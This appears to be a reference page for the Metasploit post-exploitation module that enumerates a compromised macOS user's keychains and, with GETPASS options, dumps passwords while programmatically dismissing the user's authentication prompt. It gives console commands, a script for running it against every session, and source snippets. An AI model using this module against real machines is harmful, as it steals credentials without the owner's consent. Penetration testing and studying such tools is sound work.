OS X Gather Keychain Enumeration - Metasploit


This page contains detailed information about how to use the post/osx/gather/enum_keychain metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: OS X Gather Keychain Enumeration
Module: post/osx/gather/enum_keychain
Source code: modules/post/osx/gather/enum_keychain.rb
Disclosure date: -
Last modification time: 2017-09-17 16:00:04 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module presents a way to quickly go through the current user's keychains and collect data such as email accounts, servers, and other services. Please note: when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication alert flash briefly on their screen that gets dismissed by a programmatically triggered click.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/gather/enum_keychain

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/gather/enum_keychain
msf post(enum_keychain) > show options
    ... show and set options ...
msf post(enum_keychain) > set SESSION session-id
msf post(enum_keychain) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/gather/enum_keychain")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage

Here is how the osx/gather/enum_keychain post exploitation module looks in the msfconsole:

msf6 > use post/osx/gather/enum_keychain

msf6 post(osx/gather/enum_keychain) > show info

       Name: OS X Gather Keychain Enumeration
     Module: post/osx/gather/enum_keychain
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  ipwnstuff <[email protected]>
  joev <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name                 Current Setting  Required  Description
  ----                 ---------------  --------  -----------
  GETPASS              false            no        Collect passwords.
  GETPASS_AUTO_ACCEPT  true             no        Attempt to auto-accept any prompts when collecting passwords.
  GETPASS_TIMEOUT      999999           no        Maximum time to wait on all passwords to be dumped.
  SESSION                               yes       The session to run this module on.
  WritableDir          /.Trashes        yes       Writable directory

Description:
  This module presents a way to quickly go through the current user's 
  keychains and collect data such as email accounts, servers, and 
  other services. Please note: when using the GETPASS and 
  GETPASS_AUTO_ACCEPT option, the user may see an authentication alert 
  flash briefly on their screen that gets dismissed by a 
  programmatically triggered click.

Module Options

This is a complete list of options available in the osx/gather/enum_keychain post exploitation module:

msf6 post(osx/gather/enum_keychain) > show options

Module options (post/osx/gather/enum_keychain):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   GETPASS              false            no        Collect passwords.
   GETPASS_AUTO_ACCEPT  true             no        Attempt to auto-accept any prompts when collecting passwords.
   GETPASS_TIMEOUT      999999           no        Maximum time to wait on all passwords to be dumped.
   SESSION                               yes       The session to run this module on.
   WritableDir          /.Trashes        yes       Writable directory

Advanced Options

Here is a complete list of advanced options supported by the osx/gather/enum_keychain post exploitation module:

msf6 post(osx/gather/enum_keychain) > show advanced

Module advanced options (post/osx/gather/enum_keychain):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   FileDropperDelay                   no        Delay in seconds before attempting cleanup
   VERBOSE           false            no        Enable detailed status messages
   WORKSPACE                          no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the osx/gather/enum_keychain module can do:

msf6 post(osx/gather/enum_keychain) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the osx/gather/enum_keychain post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/gather/enum_keychain) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Module timed out, no keychains found.

Here is a relevant code snippet related to the "<PEER> - Module timed out, no keychains found." error message:

104:	  def run
105:	    @peer = "#{session.session_host}:#{session.session_port}"
106:	
107:	    keychains = list_keychains
108:	    if keychains.nil?
109:	      print_error("#{@peer} - Module timed out, no keychains found.")
110:	      return
111:	    end
112:	
113:	    user = cmd_exec("/usr/bin/whoami").chomp
114:	    accounts = enum_accounts(keychains)

Response was not valid JSON

Here is a relevant code snippet related to the "Response was not valid JSON" error message:

126:	
127:	        begin
128:	          count = JSON.parse(passwords).count
129:	          print_good("Successfully stole #{count} passwords")
130:	        rescue JSON::ParserError => e
131:	          print_error("Response was not valid JSON")
132:	        end
133:	      else
134:	        begin
135:	          passwords = get_passwords(accounts)
136:	        rescue

<PEER> - Module timed out, no passwords found.

Here is a relevant code snippet related to the "<PEER> - Module timed out, no passwords found." error message:

132:	        end
133:	      else
134:	        begin
135:	          passwords = get_passwords(accounts)
136:	        rescue
137:	          print_error("#{@peer} - Module timed out, no passwords found.")
138:	          print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
139:	        end
140:	        save(passwords)
141:	      end
142:	    end

<PEER> - This is likely due to the host not responding to the prompt.

Here is a relevant code snippet related to the "<PEER> - This is likely due to the host not responding to the prompt." error message:

133:	      else
134:	        begin
135:	          passwords = get_passwords(accounts)
136:	        rescue
137:	          print_error("#{@peer} - Module timed out, no passwords found.")
138:	          print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
139:	        end
140:	        save(passwords)
141:	      end
142:	    end
143:	  end

Go back to menu.

Go back to menu.

See Also

Check also the following modules related to this module:

Authors

  • ipwnstuff <e[at]ipwnstuff.com>
  • joev

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.